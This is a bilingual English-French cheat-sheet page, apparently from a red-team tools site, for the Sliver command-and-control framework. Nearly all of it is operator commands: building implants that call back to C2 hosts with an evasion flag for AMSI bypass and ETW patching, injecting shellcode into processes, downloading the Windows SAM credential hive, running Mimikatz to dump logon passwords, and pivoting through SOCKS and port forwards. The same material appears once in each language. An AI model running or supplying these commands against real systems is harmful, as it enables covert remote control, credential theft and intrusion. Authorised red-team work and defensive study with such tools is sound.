← retour aux outils back to tools

# Sliver

Framework C2 open-source de BishopFox. Supporte les communications mTLS, WireGuard, HTTP/S et DNS avec des implants pour Windows, Linux et macOS. Open-source C2 framework from BishopFox. Supports mTLS, WireGuard, HTTP/S, and DNS comms with implants for Windows, Linux, and macOS.

↗ https://github.com/BishopFox/sliver

## Overview

Sliver is a modern, open-source Command & Control (C2) framework designed for red team operations. It auto-generates implants with unique encryption keys, supports multiple transport protocols, and provides a rich operator console with multi-player support.

## Server Setup

Start Sliver server (background daemon)

    sliver-server

Or as a system service

    sudo systemctl start sliver

Connect to server (multiplayer)

    sliver-client

## Generate Implants

    # Interactive console commands:

Generate a beacon (async, check-in based)

    generate beacon --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/

Generate a session (interactive, persistent connection)

    generate --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/

HTTP/HTTPS beacon

    generate beacon --http https://c2.domain.com --os linux --save /tmp/

DNS C2

    generate beacon --dns c2.domain.com --os windows --save /tmp/

WireGuard transport

    generate beacon --wg 10.10.10.1:51820 --os windows --save /tmp/

Shellcode format (for injection)

    generate --mtls 10.10.10.1 --format shellcode --save /tmp/

Shared library (.dll / .so)

    generate --mtls 10.10.10.1 --format shared-lib --os windows --save /tmp/

With evasion (obfuscation + canary bypass)

    generate beacon --mtls 10.10.10.1 --evasion --os windows --save /tmp/

## Listeners

mTLS listener

    mtls

HTTPS listener

    https

HTTP listener

    http

DNS listener

    dns --domains c2.domain.com

WireGuard

    wg

Specify port

    mtls --lport 8443

## Session / Beacon Interaction

    sessions   # interactive sessions

    beacons    # async beacons

    # Interact with a session
    use SESSION_ID
    # or
    sessions -i SESSION_ID

Interact with a beacon

    beacons -i BEACON_ID

    # Basic recon
    whoami
    hostname
    ps
    ls
    ifconfig
    netstat

    # Upload/download
    upload /local/file.exe C:\\Windows\\Temp\\file.exe
    download C:\\Windows\\System32\\SAM /tmp/SAM

Execute assembly in memory

    execute-assembly /path/to/Assembly.exe arg1 arg2

Run shellcode

    shellcode inject --pid 1234 /path/to/shellcode.bin

Spawn child session

    generate --mtls 10.10.10.1 --format exe | execute-assembly -

## Pivoting

SOCKS5 proxy through implant

    socks5 start

Port forward

    portfwd add --remote 10.10.10.1:445 --bind 127.0.0.1:4445

Reverse port forward

    rportfwd add --remote 10.10.10.1:80 --bind 0.0.0.0:8080

## Built-in Tools

Run built-in Mimikatz (in-process)

    mimikatz "privilege::debug" "sekurlsa::logonpasswords"

SharpHound via execute-assembly

    execute-assembly /opt/SharpHound.exe -c All

Process injection

    inject --pid 1234 /path/to/shellcode.bin

Screenshot

    screenshot

## Tips

- Beacons are operationally safer than sessions — they blend into normal traffic patterns
- Use `--evasion` flag to enable obfuscation, AMSI bypass, and ETW patching in the implant
- Sliver generates unique per-implant keys — each compiled implant is cryptographically distinct
- The Armory provides community extensions: `armory install all` for common post-ex tools

Key commands reference

    Server commands:
      generate [beacon]    Build an implant
      mtls/https/http/dns  Start listeners
      sessions             List interactive sessions
      beacons              List beacon implants
      use ID               Interact with session/beacon
      jobs                 Manage listeners

    Session commands:
      whoami/hostname/ps/ls/pwd/env
      upload/download
      execute             Run OS command
      execute-assembly    Run .NET assembly in memory
      shellcode           Inject shellcode
      inject              Process injection
      screenshot
      socks5              SOCKS5 proxy
      portfwd             Port forwarding
      rportfwd            Reverse port forward
      mimikatz            Run Mimikatz modules
      armory              Manage extensions

## Vue d’ensemble

Sliver est un framework de Command & Control (C2) moderne et open-source conçu pour les opérations red team. Il génère automatiquement des implants avec des clés de chiffrement uniques, supporte plusieurs protocoles de transport, et fournit une console opérateur riche avec support multi-joueurs.

## Mise en place du serveur

    # Démarrer le serveur Sliver (démon en arrière-plan)
    sliver-server

    # Ou en tant que service système
    sudo systemctl start sliver

    # Se connecter au serveur (multiplayer)
    sliver-client

## Génération d’implants

    # Commandes de la console interactive :

    # Générer un beacon (asynchrone, basé sur des check-ins)
    generate beacon --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/

    # Générer une session (interactive, connexion persistante)
    generate --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/

    # Beacon HTTP/HTTPS
    generate beacon --http https://c2.domain.com --os linux --save /tmp/

    # C2 DNS
    generate beacon --dns c2.domain.com --os windows --save /tmp/

    # Transport WireGuard
    generate beacon --wg 10.10.10.1:51820 --os windows --save /tmp/

    # Format shellcode (pour injection)
    generate --mtls 10.10.10.1 --format shellcode --save /tmp/

    # Bibliothèque partagée (.dll / .so)
    generate --mtls 10.10.10.1 --format shared-lib --os windows --save /tmp/

    # Avec évasion (obfuscation + contournement de canary)
    generate beacon --mtls 10.10.10.1 --evasion --os windows --save /tmp/

## Listeners

    # Listener mTLS
    mtls

    # Listener HTTPS
    https

    # Listener HTTP
    http

    # Listener DNS
    dns --domains c2.domain.com

    # WireGuard
    wg

    # Spécifier un port
    mtls --lport 8443

## Interaction avec les sessions / beacons

    sessions   # sessions interactives

    beacons    # beacons asynchrones

    # Interagir avec une session
    use SESSION_ID
    # ou
    sessions -i SESSION_ID

    # Interagir avec un beacon
    beacons -i BEACON_ID

    # Reconnaissance de base
    whoami
    hostname
    ps
    ls
    ifconfig
    netstat

    # Upload/download
    upload /local/file.exe C:\\Windows\\Temp\\file.exe
    download C:\\Windows\\System32\\SAM /tmp/SAM

    # Exécuter une assembly en mémoire
    execute-assembly /path/to/Assembly.exe arg1 arg2

    # Lancer du shellcode
    shellcode inject --pid 1234 /path/to/shellcode.bin

    # Générer une session enfant
    generate --mtls 10.10.10.1 --format exe | execute-assembly -

## Pivoting

    # Proxy SOCKS5 à travers l'implant
    socks5 start

    # Port forward
    portfwd add --remote 10.10.10.1:445 --bind 127.0.0.1:4445

    # Reverse port forward
    rportfwd add --remote 10.10.10.1:80 --bind 0.0.0.0:8080

## Outils intégrés

    # Lancer Mimikatz intégré (in-process)
    mimikatz "privilege::debug" "sekurlsa::logonpasswords"

    # SharpHound via execute-assembly
    execute-assembly /opt/SharpHound.exe -c All

    # Injection de processus
    inject --pid 1234 /path/to/shellcode.bin

    # Capture d'écran
    screenshot

## Conseils

- Les beacons sont opérationnellement plus sûrs que les sessions : ils se fondent mieux dans les motifs de trafic normaux
- Utiliser le flag `--evasion` pour activer l’obfuscation, le contournement AMSI et le patching ETW dans l’implant
- Sliver génère des clés uniques par implant : chaque implant compilé est cryptographiquement distinct
- L’Armory fournit des extensions communautaires : `armory install all` pour les outils de post-exploitation courants

Référence des commandes clés

    Server commands:
      generate [beacon]    Build an implant
      mtls/https/http/dns  Start listeners
      sessions             List interactive sessions
      beacons              List beacon implants
      use ID               Interact with session/beacon
      jobs                 Manage listeners

    Session commands:
      whoami/hostname/ps/ls/pwd/env
      upload/download
      execute             Run OS command
      execute-assembly    Run .NET assembly in memory
      shellcode           Inject shellcode
      inject              Process injection
      screenshot
      socks5              SOCKS5 proxy
      portfwd             Port forwarding
      rportfwd            Reverse port forward
      mimikatz            Run Mimikatz modules
      armory              Manage extensions